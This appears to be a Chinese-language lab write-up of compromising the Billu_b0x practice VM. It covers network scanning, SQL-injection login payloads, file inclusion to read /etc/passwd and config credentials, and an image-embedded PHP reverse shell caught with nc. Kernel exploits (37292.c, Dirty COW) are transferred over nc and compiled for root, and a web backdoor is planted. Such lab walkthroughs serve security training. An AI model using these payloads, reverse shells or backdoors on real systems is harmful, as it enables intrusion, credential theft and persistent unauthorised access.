世间一切皆可努力
目录
1.查看kali的网卡设备、IP地址等信息(网卡名:eth0,IP地址:192.168.97.129);
3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);
1.扫描端口,以及端口对应开启的服务,以及目标靶机的运行系统;
4.文件包含读取该图片,从而执行图片内的脚本,反弹shell;
(六)渗透测试,致命连问,进一步信息收集,从而获取root最高权限
1.经过了一大串的命令,发现没有什么可用的信息,限制考虑内核exp提权;
1.phpmyadmin的默认配置文件/var/www/phpmyadmin/config.inc.php可能存放着root信息;
2.利用test页面的file参数文件包含,进行其它页面源码审计;
3.发现panel页面文件上传+load参数文件包含,反弹shell;
4.内核3.13.0的exp,37292.c可以提权为root;
- 靶机:Biilu_b0x,IP地址:192.168.97.153
- 测试机:Kali,IP地址:192.168.97.129
- 测试机:物理机Win10
- 连接方式:NAT
- 提示:不存在flag,目标是获取root的shell
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口
- 渗透测试——test页面文件包含,读取源码,进行代码审计
- 渗透测试——22端口,直接登录root(到此可以结束)
- 渗透测试——panel页面,文件包含+文件上传,Getshell
- 渗透测试——本地提权
- 清楚痕迹,留下后门
(一)信息收集——主机发现阶段
1.查看kali的网卡设备、IP地址等信息(网卡名:eth0,IP地址:192.168.97.129);
2.查看靶机页面;
3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定网卡
-r 指定网段
- arp-scan -l
--localnet or -l 指定扫描本地网络
- nmap -sP 192.168.97.0/24
-sP ping扫描且不进行端口扫描
4.分析所得:
- 测试机:192.168.97.129
- 靶机:192.168.97.153
(二)信息收集——端口(服务)扫描阶段
1.扫描端口,以及端口对应开启的服务,以及目标靶机的运行系统;
- nmap -p- -sV -O -A 192.168.97.152
-p- 扫描全端口
-sV 扫描端口对应的服务
-O 扫描靶机的系统版本
-A 扫描靶机的系统版本
2.分析所得:
- 靶机运行的系统为ubuntu,内核版本在3.2-4.9之间;
- 共扫描65535个端口,只有两个端口打开了;
- 22端口处于open状态,对应开启了ssh服务;
- 80端口处于open状态,对应开启了http服务;
(三)渗透测试——80端口(http服务)
1.对靶机的网站就行目录遍历;
- dirb http://192.168.97.153 /usr/share/dirb/wordlists/big.txt
- 遇见扫描
如下图所示,1个目录,6个页面
2.在扫描的同时,访问该网站首页;
如下图所示,有一个sql注入(万能密码)
- whatweb进行指纹识别
3.访问robots.txt页面;
如下图所示,404
4.逐个访问以上的扫描结果;
如下图所示,是一个文件上传页面
如下图所示,是phpinfo()页面
如下图所示,需要sql注入(万能密码)
如下图所示,重定向到了主页
如下图所示,以file传参的文件包含漏洞
如下图所示,这个是phpmyadmin页面
如下图所示,猜测是设计者上传的图片
5.分析所得:
- 主页http://192.168.97.153/index.php,SQL注入;
- http://192.168.97.153/in,phpinfo()页面;
- http://192.168.97.153/test,文件包含页面;
- http://192.168.97.153/add,文件上传页面;
- http://192.168.97.153/phpmy,phpmyadmin页面;
- http://192.168.97.153/uploaded_images;推测为上传点;
6.测试SQL注入;
- 用户名:admin'or'1'#
- 用户名:admin'or'1'--
- 用户名:admin'union select '1
- 用户名:admin'union select 1,'2
- 用户名:admin'union select 1,2,'3
- 用户名: 密码:or 1 #
- 用户名:or 1 # 密码:\
如下图所示,登录成功后,会跳转到panel.php页面,该页面存在文件上传;(若直接访问panel.php会302到主页)
7.分析所得:
- http://192.168.97.153/test,推测为文件包含页面;
- http://192.168.97.153/add,推测为文件上传页面;
- http://192.168.97.153/panel.php,推测为文件上传页面;
- http://192.168.97.153/uploaded_images;推测为上传点;
- http://192.168.97.153/phpmy,phpmyadmin页面;
(四)、渗透测试——文件包含,进一步信息收集
1.测试文件包含的类型;
- 在URL栏里拼接:?file=/etc/passwd
如下图所示,无任何效果,推测不是GET型,应该是POST型
- 打开Hachbar,post数据:file=/etc/passwd
如下图所示,我们post型传参,可以包含/etc/passwd文件,从而注意到了两个用户root和ica
2.文件包含,读取之前扫描出来的页面的源码,进行代码审计;
- file=./add.php
- file=./c.php
如下图所示,我们发现了形如数据库连接配置:billu:b0x_billu
- file=./in.php
- 根据数据库的连接配置文件,得到了billu:b0x_billu,我们访问phpmy,登录数据库;
如下图所示,我们登录后,发现了一个用户:biLLu:hEx_it(猜测是网站主页的登录页面)
- 使用刚刚得到的用户,登录主页;
如下图所示,绕过了Sql注入,直接进入了panel.php页面
- file=./index.php
- file=./panel.php
如下图所示,发现了该页面存在load的传参,以及文件上传使用白名单限制;(这里应该可以文件上传shell,文件包含读 取执行shell,从而反弹shell)
- file=/var/www/phpmy/config.inc.php
phpmyadmin的默认的配置文件是:config.inc.php。默认目录为:/var/www/phpmyadmin/config.inc.php
如下图所示,我们读取到了phpmyadmin的配置文件,得到了root密码:rootoor
3.分析所得:
- root的密码:roottoor;(直接尝试ssh)
- panel.php页面,存在load文件包含,和白名单限制文件上传;(从此处Getshell)
- add.php,上传页面;
(五)渗透测试——使用root用户直接ssh登录
1.使用MobaXterm进行ssh登录;
- root:roottoor
2.切换到root的家目录,不存在flag;
- cd /root
- ls
- find / -name flag
3.暴露/var/www的目录结构;
- cd /var/www
- ls -la
4.分析所得:
- 现如今已经获取最高权限;
- 虽然我们已经得到了root,但是还是练习一下文件上传+文件包含获取shell,再内核提权;
(六)渗透测试——文件包含+文件上传,从而Getshell
1.文件上传shell;
- 在一张正常的head.jpg图片最后面添加php-reverse-shell.php的内容(文件头绕过),点击上传即可
2.查看上传点;
- f12,开发者工具,标记图片,查看位置在:uploaded_images/head.jpg
3.kali端,nc开启侦听;
- nc -nvlp 8443
4.文件包含读取该图片,从而执行图片内的脚本,反弹shell;
- GET型包含失败
- POST包含,hackbar内:load=/uploaded_images/head.jpg&continue=continue
5.查看kali页面,成功反弹Shell;
6.获取交互式shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
(六)渗透测试,致命连问,进一步信息收集,从而获取root最高权限
1.经过了一大串的命令,发现没有什么可用的信息,限制考虑内核exp提权;
2.内核提权:EXP1,37292.c成功;
- uname -r
- lsb_release -r
- 根据内核3.13.0搜索exp:searchsploit 3.13.0
如下图所示,发现了37292.c脚本
- searchsploit -m 37292.c
-m 把Exp复制到当前目录下
- kalinc传输到靶机的Shell上,nc -lp 12345 < 37292.c
- 靶机nc接收exp,nc -nv 192.168.97.129 12345 > 37292.c
- 编译37292.c文件,gcc -o 37292 37292.c
- 运行编译后的37292, ./37292
如下图所示,获取到了root权限
3.内核提权:脏牛EXP1,40616.c 失败;
- kali:searchsploit dirty cow pri esc
- kali:searchsploit -m 40616.c
- kali:nc -lp 12345 < 40616.c
- 靶机www-data的shell:nc -nv 192.168.97.129 12345 > 40616.c
- 编译40616.c,gcc -o 40616 40616.c -pthread
- 执行40616, ./40616
如下图所示,提权失败,并且靶机挂了。。。。。。。。。。
4.内核提权:脏牛EXP2,40847.cpp 失败;
- nc -nv 192.168.97.129 12345 > 40847.cpp
- g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
如下图所示,虽然传输过来了,但是编译报错
5.内核提权:脏牛EXP3,40839.c 失败;
- nc -nv 192.168.97.129 12345 > 40839.c
- gcc -o 40839 40839.c -pthread -lcrypto
如下图所示,编译出错
6.分析所得:
- 内核3.13.0对应的37292.c的exp有效;
(七)清楚痕迹,留下后门
1.在/var/www/phpmy目录下,留下1.php;
2.尝试菜刀连接,获取目录结构+右键获取shell;
1.phpmyadmin的默认配置文件/var/www/phpmyadmin/config.inc.php可能存放着root信息;
2.利用test页面的file参数文件包含,进行其它页面源码审计;
3.发现panel页面文件上传+load参数文件包含,反弹shell;
4.内核3.13.0的exp,37292.c可以提权为root;